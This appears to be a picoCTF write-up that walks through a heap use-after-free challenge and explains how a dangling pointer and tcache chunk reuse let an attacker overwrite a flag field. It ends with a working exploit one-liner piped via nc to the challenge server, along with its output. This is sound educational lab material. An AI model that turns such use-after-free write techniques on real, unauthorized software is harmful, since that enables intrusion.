200 points
Category: Binary Exploitation
Tags: #binaryexploitation #heap #useafterfree #writewhatwhere
This program mishandles memory. Can you exploit it to get the flag?
Inspecting the provided chall.c
source file, we can see the init()
function called from main()
at the start of execution, allocates an object
data structure to global variable x
and sets the x->flag
member variable to "bico"
.
typedef struct {
char a[10];
char b[10];
char c[10];
char flag[5];
} object;
object *x;
The check_win()
function invoked from the "Check for win"
menu item (4
), checks the x->flag
for a values of "pico"
as the win condition to read and display the flag file.
Further analysis finds that the "Free x"
menu item (5
) invokes the free_memory()
function, which frees the memory allocated to the global variable x
, however x
is not modified and hence left a dangling pointer.
The "Allocate object"
menu item (2
) invoked the alloc_object()
function, which prompts the user for the size of the object to allocate, and allocates this amount via malloc()
to a local variable alloc
. It then prompts the user for data to write to the newly allocated buffer in an unbounded fashion.
These two functions allow for a User After Free (UAF) based 'write-what-where' primative attack, as x
is continued to be used after free by the likes of check_win()
and we know if we allocate the same size block when invoking alloc_object()
then tcache will return the freed x
buffer, which we conveniently get the opportunity to write whatever data we want, such as the win condition required by check_win()
.
The final solution and construction of the corresponding input buffer:
- Free
x
using menu item 5 ="5\n"
- Allocate a new object using menu item 2 =
"2\n"
- Select the size of the new object, as the same size as the
object
data structure, which is 35 bytes ="35\n"
- Fill the first three members of the structure
a
,b
andc
with dummy data, totalling 30 bytes ="A"*30
- Append our win condition value for the
flag
member variable, which completes the data to write input string ="pico\n"
- Finally check for a win and dump the flag using menu item 4 =
"4\n"
Which when all put together yields the following output :
$ echo $(python3 -c 'print("5\n2\n35\n" + "A"*30 + "pico\n4\n")') | nc tethys.picoctf.net 52112
freed but still in use
now memory untracked
do you smell the bug?
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice:
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: Size of object allocation: Data for flag:
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: YOU WIN!!11!!
picoCTF{...........redacted.............}
Where the actual flag value has been redacted for the purposes of this write up.